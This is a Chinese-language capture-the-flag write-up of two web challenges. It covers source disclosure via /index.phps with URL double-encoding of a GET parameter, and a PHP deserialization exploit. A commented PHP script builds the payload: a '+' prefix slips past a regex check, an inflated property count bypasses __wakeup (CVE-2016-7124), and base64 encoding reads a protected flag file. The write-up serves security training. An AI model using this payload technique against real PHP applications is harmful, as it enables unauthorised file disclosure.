- PHP2
- Web_php_unserialize
PHP2
获取场景
你对这个网站感兴趣吗?
御剑扫描后台,双击打开网页,发现是源码泄露,这里/index.phps是自己添加到密码字典中的:
这是/index.phps
源码泄露
查看源代码:
分析源码判断是一个GET传参admin===$_GET[id],尝试直接传参404错误:
对admin编码:
发现浏览器对ad使用了URL编码:
编码一次的不行,试试两次编码:
两次编码还是不行,突然想到,这是index.phps源码泄露,应该是index.php的,得到flag:
Web_php_unserialize
创建题目场景后打开是这样的,看到这个function比较敏感:
所以要想办法绕过wakeup,当进行反序列化时函数会被调用:
Php在线运行工具:https://www.toolnb.com/tools/phpserialize.html
通过对代码分析得到完整的pop链
<?php
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
$a= new Demo('fl4g.php');//实例化对象 __construct函数将会被自动调用 fl4g.php 将会被赋值给$file变量
$c=serialize($a); //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c); //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c); //利用__wakeup()的CVE-2016-7124 在序列化的字符串当中当真实的属性个数大于真实的属性个数时 该函数不会执行
$c=str_replace(' ','%00',$c); //序列化私有类时 类名和字段名前会有空格 使用url传参时需要将空格替换成%00
echo $c;
$j=(base64_encode($c)); //对其进行base64编码
echo $j;
?>
得到pyload,使用get传参得到flag: